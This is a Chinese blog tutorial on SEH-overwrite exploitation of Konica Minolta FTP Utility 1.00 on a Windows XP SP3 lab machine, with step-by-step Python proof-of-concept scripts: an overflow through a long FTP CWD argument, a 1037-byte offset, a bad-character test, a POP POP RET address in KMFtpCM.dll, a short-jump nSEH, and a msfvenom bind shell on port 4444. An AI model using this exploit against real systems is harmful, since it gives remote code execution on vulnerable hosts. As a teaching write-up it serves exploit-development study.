linux 查看socket缓冲区溢出_跟小黑学漏洞利用开发之SEH溢出

本文介绍了如何在Linux环境中查看socket缓冲区溢出,并详细阐述了Windows XP SP3系统中利用SEH(结构化异常处理)进行漏洞利用的步骤,包括确定SEH偏移量、编写Shellcode、控制SEH和nSEH,以及如何绕过保护机制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

bf6b22adca37bb46f940015f0255e0ac.png 书接上回,我们继续研究如何在Win32系统上利用缓冲区漏洞,完成我们新漏洞利用开发,主要是关于SEH漏洞利用问题。 相比上一篇直接覆盖EIP相比,EIP覆盖此效果虽然很好,但也会存在稳定性问题(如无法找到jmp指令,或者需要地址硬编码)并且还会遇到缓冲区大小问题,从而可能限制用于目标机器shellcode空间问题。 写到这里有些人想说对于SafeSEH和SEHOP绕过利用这个我们有机会在后续篇文章研究。   6f17ea56aa8fff8cc4281fb99c59ba67.png

1.准备

WindowsXP—Sp3(目标机)

kali-linux(攻击机) Konica Minolta FTP Utility 1.00 ImmunityDebugger 1.85(调试工具)—x64、OD等动态调试器都可以 需要对了解X86汇编 对python有一定了解 6f17ea56aa8fff8cc4281fb99c59ba67.png

2.关于SEH

SEH俗称“结构化处理程序”,也有叫“SEH链” 当程序出现除零、非法内存访问、文件打开错误、内存不足等问题,Windows为其提供一次补救机会,即异常处理机制。 SEH即异常处理结构体,如下图,每个SEH包含两个DWORD指针,处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的。 所以我们看到异常处理结构是颠倒的[nSEH…[SEH]。 详情如下图所示。 f154efe6b5034960ab15e11e0ef28c72.png 到此可以思考,此类问题跟开篇简单的缓冲区溢出有啥区别? 如果我们例如上篇文章发送大量异常数据并且触发了SEH处理机制,windows会把寄存器清理,因此不能向往常跳EIP转执行Shellcode。 值得庆幸的地方是此机制存在缺陷,我们只需要pop、pop、retn指令覆盖SEH,nSEH地址保存在ESP+8处,pop、pop、retn执行后最终会跳到nSEH执行,至此我们可以控制nSEH,就可以向上篇文章中一样控制shellcode。 大致利用流程如下图所示。 b17460c2f2d4e380b7e26194e11b8f80.png 综上所述,我们的基本SEH利用需要以下条件:
  • nSEH的偏移量
  • nSEH 代码跳转跳过SEH
  • 寻找包含POP  POP  RET指令的地址
  • 编写Shellcode
6f17ea56aa8fff8cc4281fb99c59ba67.png

3.控制SEH和nSEH

下面此漏洞利用POC,首先登陆FTP服务器,发送“CWD”命令,此命令是改变工作目录,此命令后发送到10000个A溢出数据以确定是否引发程序崩溃以及控制SEH链。 此POC在实战中唯一缺点是我们需要一个FTP用户。
#!/usr/bin/pythonimport socketimport sysevil = "A"*10000s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.137.128',21))data = s.recv(1024)s.send('USER anonymous' + '\r\n')data = s.recv(1024)s.send('PASS anonymous' + '\r\n')data = s.recv(1024)s.send('CWD ' + evil + '\r\n')data = s.recv(1024)s.send('QUIT\r\n')s.close
程序发送的崩溃,ImmunityDebugger堆栈窗口,如果查看此线程的堆栈(右下窗口),将能够看到从00CAF978开始的SEH链。

dded448a7cc378b722c1d8e7963ba3e2.png

在Immunity中查看SEH链的最简单的方法是按Alt + S; 我们看到nSEH和SEH已经覆盖。

eb47339564f672d201de0d7c2cbaeacd.png

现在我们需要确定控制nSEH和SEH所需要的字节数。 此时我们需要利用非重复性字符串确认偏移量使用前篇小工具msf-pattern_create生成唯一字符串,以确定SEH覆盖偏移量长度。 详情代码如下。
#!/usr/bin/pythonimport socketimport sys#evil = "A"*10000evil ="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8AcAh7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A*****************省略***************iAku4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.137.128',21))data = s.recv(1024)s.send('USER anonymous' + '\r\n')data = s.recv(1024)s.send('PASS anonymous' + '\r\n')data = s.recv(1024)s.send('CWD ' + evil + '\r\n')data = s.recv(1024)s.send('QUIT\r\n')s.close
重新发起请求,我们查看是否重写nSEH和SEH,同时我们可以利用几种方法确认偏移量,如metasploit中msf-pattern_offset,或者mona工具使用命令!mona findmsp。 如图所示,计算出偏移为1037个字节就可以控制SEH链。 e1ac156bb6949533a9254544b2ee1f7a.png 确认nSEH和SEH偏移量。 我们调整python脚本,并用1037个“ A”填充缓冲区,确保足够覆盖。 nSEH指针填充4个字节,为SEH填充4个字节,并在Immunity中确认SEH链的结果。 代码如下。
#!/usr/bin/pythonimport socketimport sys#offset = 1037evil = "A"*1037 + "B" * 4 + "C" * 4 + "D" * (10000-1037-4-4)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.137.128',21))data = s.recv(1024)s.send('USER anonymous' + '\r\n')data = s.recv(1024)s.send('PASS anonymous' + '\r\n')data = s.recv(1024)s.send('CWD ' + evil + '\r\n')data = s.recv(1024)s.send('QUIT\r\n')s.close

f8da165ee750455654f2f4371dc507c9.png

6f17ea56aa8fff8cc4281fb99c59ba67.png

4.坏字节

通过观察,发现位于B和C之后D的缓冲区。 这是一个存储并检验所有坏字节的好地方。
#!/usr/bin/pythonimport socketimport sys#offset = 1037badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")evil = "A"*1037 + "B" * 4 + "C" * 4 + badchars + "D" * (10000-1037-4-4-len(badchars))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.137.128',21))data = s.recv(1024)s.send('USER anonymous' + '\r\n')data = s.recv(1024)s.send('PASS anonymous' + '\r\n')data = s.recv(1024)s.send('CWD ' + evil + '\r\n')data = s.recv(1024)s.send('QUIT\r\n')s.close
再次重新发起请求。 可以看出,除了NULL(\x00)字节外,没有其他坏字符被识别。

f9a65d3d3c580f96433406be60b0dbc6.png

  6f17ea56aa8fff8cc4281fb99c59ba67.png

5.寻找未保护Pop Pop ret指令模块

现在,我们需要寻找在未开启ALSR、safeSEH保护的Pop Pop ret模块,在Immunity中使用mona,可以通过!mona seh命令,专用于查找此SEH模块,当然metasploit也提供相关工具,有兴趣小伙伴可以了解下。 如图所示,使用目标程序自带动态链接库的KMFtpCM.dll中0x122063b0地址可以为我们所用。

20b43a15b9cea90491a0a406c29a82ae.png

更新代码如下
#!/usr/bin/pythonimport socketimport sys#offset = 1037#seh =0x122063b0nseh = "\x42\x42\x42\x42"seh = "\xb0\x63\x20\x12"evil = "A"*1037 + nseh + seh +  "D" * (10000-1037-4-4)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.137.128',21))data = s.recv(1024)s.send('USER anonymous' + '\r\n')data = s.recv(1024)s.send('PASS anonymous' + '\r\n')data = s.recv(1024)s.send('CWD ' + evil + '\r\n')data = s.recv(1024)s.send('QUIT\r\n')s.close
修改后代码有效,并且SEH被pop pop ret 命令覆盖,通过按SHIFT + F9忽略异常运行,被重定向到POP POP RET指令的地址

debfd1b02dcd34072d77f85bdb11e40a.png

进入POP POP RET指令将重定向到nSEH记录,该记录包含B的4个字节

6426978d390ecb16237221f7b28c882c.png

  6f17ea56aa8fff8cc4281fb99c59ba67.png

6.跳转指令

现在最后一步我们需要确定跳转指令到shellcode缓冲区大小,通过计算最终跳转地址计算地址为十六进制670换算十进制1648字节。 此空间足以容纳Shellcode。

435a4d704582fa44dfe8ed06cd6967a4.png

此时我们可以使用metasploit中小工具msf-nasm_shell取得opcode。 如图所示。

bc746768a0086a0147556f2fa467739e.png

更新代码如下
#!/usr/bin/pythonimport socketimport sys#offset = 1037#seh =0x122063b0nseh = "\xEB\x12\x90\x90"seh = "\xb0\x63\x20\x12"evil = "A"*1037 + nseh + seh +  "D" * (10000-1037-4-4)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.137.128',21))data = s.recv(1024)s.send('USER anonymous' + '\r\n')data = s.recv(1024)s.send('PASS anonymous' + '\r\n')data = s.recv(1024)s.send('CWD ' + evil + '\r\n')data = s.recv(1024)s.send('QUIT\r\n')s.close
下面是大概执行过程

1cfb06dcb06d7e3ae920ac27df4ccb40.png

通过metasploit使用msfvenom创建开启本地shell,需要注意将“\x00”字符排除在外。 如图所示。

e51667fa79cd3f97c5024fa89a17a027.png 

6f17ea56aa8fff8cc4281fb99c59ba67.png

7.漏洞利用

执行最终漏洞利用代码,shellcode开启本地监听端口4444/TCP。 连接即可获取最终Shell。

68a693f8c71d1d0a1b02a7bddb104fb1.png

58ac5c9d50a8efb7cc4f1f3dc5bde55f.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值